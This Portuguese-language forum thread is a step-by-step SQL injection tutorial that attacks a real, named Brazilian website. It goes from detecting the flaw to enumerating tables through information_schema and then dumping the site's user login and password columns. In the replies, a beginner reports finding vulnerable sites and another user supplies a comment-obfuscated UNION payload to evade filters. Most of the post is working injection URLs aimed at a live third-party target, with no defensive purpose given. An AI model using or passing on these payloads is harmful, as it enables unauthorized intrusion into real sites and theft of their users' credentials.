Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

SQL Injection Avançado (Completo)

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial SQL Injection Avançado (Completo)

    Bom,

    Neste tutorial estarei passando a técnica de SQL Injection Avançado, isto quer dizer, sem nenhum programa...

    Não estarei explicando sobre o que é SQL Injection, pois você, para estar lendo este tutorial já deve saber o que é SQL Injection.

    Vamos pegar um site que muitas pessoas já devem o ter achado no Google buscando por Dorks.

    Código:
    http://www.relaxefacatrilha.com.br/noticias.php?id=1481
    Vamos então a começar a explorá-lo!

    1º - Vamos descobrir a vulnerabilidade.

    Para descobri-la, acrescente uma aspa simples no início do id=

    Código:
    http://www.relaxefacatrilha.com.br/noticias.php?id='1481
    Veja que o site nos retornou erros:

    Warning: mysql_result(): supplied argument is not a valid MySQL result resource in /home/relaxefa/public_html/noticias.php on line 9

    Warning: mysql_result(): supplied argument is not a valid MySQL result resource in /home/relaxefa/public_html/noticias.php on line 10

    Warning: mysql_result(): supplied argument is not a valid MySQL result resource in /home/relaxefa/public_html/noticias.php on line 11

    Warning: mysql_result(): supplied argument is not a valid MySQL result resource in /home/relaxefa/public_html/noticias.php on line 12


    Feito isso, vamos para o segundo passo!

    2º - Vamos descobrir quantas tabelas o site possui.

    Para descobrir as tabelas, usa-se o comando order by. Veja:

    Código:
    http://www.relaxefacatrilha.com.br/noticias.php?id=1481 order by 1
    Se o site não retornar erro nenhum, isto significa que aquela tabela existe. Mas vá tentando até achar um número que da erro. Por exemplo:

    Código:
    http://www.relaxefacatrilha.com.br/noticias.php?id=1481 order by 6
    Sem erro.
    Código:
    http://www.relaxefacatrilha.com.br/noticias.php?id=1481 order by 7
    Com erro!

    Isto significa que o site possui 6 tabelas! Agora teremos que explorá-las para descobrir as colunas!

    3º - Unir as tabelas para descobrir seus respectivos nomes.

    Bem, agora vamos dar um passo muito importante na exploração do SQL Injection. Vamos unir todas as tabelas com o comando union all select e descobrir o nome de cada tabela.

    Como sabemos que o site possui 6 tabelas, o nosso union irá até o número 6. Veja:

    Código:
    http://www.relaxefacatrilha.com.br/noticias.php?id=-1481 union all select 1,2,3,4,5,6
    OBS: Repare que no início do id= coloquei um sinal de menos. Por que? Para fazer com que aquele número virasse nulo. Assim facilita muito o nosso trabalho!

    Repare que não apareceu a notícia, mas apareceu o número 4 no lugar da notícia.

    Agora que juntamos as tabelas, precisamos descobrir os respectivos nomes. Mas isto somente irá funcionar com versões do MySQL maiores que 5. Então, para descobrir a versão do MySQL que o site roda, é muito simples. Somente substituímos o número 4 na URL, para o comando @@version. Veja:

    Código:
    http://www.relaxefacatrilha.com.br/noticias.php?id=-1481 union all select 1,2,3,@@version,5,6
    Repare que a versão do MySQL é: 5.0.95-community. Isto quer dizer que está tudo certo. A versão é maior que 5. Então agora vamos descobrir o nome destas tabelas.

    Nas versões posteriores do MySQL 5, há uma tabela que se chama information_schema. E ela é o nosso principal alvo.

    Vamos então selecioná-la com o comando from:

    Código:
    http://www.relaxefacatrilha.com.br/noticias.php?id=-1481 union all select 1,2,3,4,5,6 from information_schema.tables
    .

    Selecionamos a tabela. Agora iremos substituir o número 4 por isso:

    group_concat(table_name)

    Este comando serve para mostrar o que vêm a seguir. No nosso caso o nome da tabela:

    Código:
    http://www.relaxefacatrilha.com.br/noticias.php?id=-1481 union all select 1,2,3,group_concat(table_name),5,6 from information_schema.tables
    .


    Agora iremos adicionar um filtro:

    Código:
    http://www.relaxefacatrilha.com.br/noticias.php?id=-1481 union all select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema = database()
    .

    Legal, ele nos listou todos os nomes das tabelas no site:


    apresentacao,banner,enquete,fique_dentro,links,log ins,mural,noticia,parceiros,publicidade,tb_album,t b_foto_album,trilhas,usuario,videos

    Agora, vamos selecionar o nome da tabela que queremos explorar. No meu caso, irei explorar a tabela usuario.

    4º - Explorando as tabelas para conseguir as colunas.

    Vamos agora, explorar a tabela usuario, para isso faremos algumas alterações na URL:

    Código:
    http://www.relaxefacatrilha.com.br/noticias.php?id=-1481 union all select 1,2,3,group_concat%28column_name%29,5,6 from information_schema.columns where table_name = 0x7573756172696f
    O que mudamos:

    Tiramos os parênteses do group_concat, e substituímos pelos seus respectivos códigos em hexadecimais.
    O group_concat, não é mais table_name, pois agora queremos suas colunas. Portanto agora fica group_concat(column_name)
    O information_schema, agora não são mais tabelas, são colunas, portanto fica assim: information_schema.columns
    E também, o nosso filtro muda de table_schema, para table_name.

    Daí você me pergunta. O que é aquilo que está após o sinal de = ?

    Para não termos erros, às vezes mais fácil trabalhar com strings em hexadecimal. Portanto, ao invés de colocarmos o nome da tabela, convertemos ela em hexadecimal, e colocamos o atributo 0x.

    Para converter nomes em hexadecimal, use o site:

    Código:
    http://www.string-functions.com/string-hex.aspx
    Se fossemos escolher a tabela logins, seu hexadecimal ficaria: 6c6f67696e73. Lembre-se sempre de por o atributo 0x antes do código hexadecimal: 0x6c6f67696e73.

    Agora veja o que nos retornou: id,nome,login,senha.

    Isto quer dizer que, dentro da tabela usuario, contém as colunas id, nome, login e senha.

    Vamos agora explorá-las.

    5º - Explorando as colunas.

    Vamos agora, obter os dados finais do site. Para isto, vamos fazer o seguinte:

    Código:
    http://www.relaxefacatrilha.com.br/noticias.php?id=-1481 union all select 1,2,3,group_concat%28login,senha%29,5,6 from usuario
    Bem, agora fica bem fácil. Tiramos uma grande parte do código: information_schema.columns where table_name = 0x7573756172696f. E substituímos pelo nome da tabela, normalmente: from usuario

    E, no lugar de column_name, colocamos o nome das colunas. No caso login e senha. Lembre-se, sempre separendo por vírgula o nome das colunas.

    Para ficar mais fácil de visualizar, você pode fazer o seguinte:

    Código:
    http://www.relaxefacatrilha.com.br/noticias.php?id=-1481 union all select 1,2,3,group_concat%28login,0x3d,senha%29,5,6 from usuario
    Note que apareceu o sinal de = entre o login e a senha. Isto é muito simples. Você apenas converte o sinal de = para o hexadecimal, e o coloca entre o login e a senha dentro do group_concat: group_concat%28login,0x3d,senha%29

    Lembrando sempre de por o parâmetro 0x antes dos códigos hexadecimais.

    Bem, finalmente acabou. Acho que expliquei tudo certo.

    Espero que gostem!
    \m/

  • Font Size
    #2
    É bem parecido com um outro tutorial que vi aqui no fórum, inclusive o site utilizado é o mesmo, porém o seu é bem mais explicado.

    Só faltou umas ScreenShot's.

    Parabéns!

    Comment


    • Font Size
      #3
      Na verdade, me baseei em um tuto de outro fórum... O site eu peguei este, pois é fácil para explicar...

      Mas obrigado!
      \m/

      Comment


      • Font Size
        #4
        poxa, estou começando no sql injection

        já li um monte de coisa, aí fui testar e já achei 2 sites que dão erro ao colocar o '
        mas não consigo fazer o 'union all select' nem a pau!!

        o que será que está acontecendo?!

        Comment


        • Font Size
          #5
          tenta esse comando aki para unir =null/**/union/**/all/**/select/**/

          Comment

          X
          Working...
          X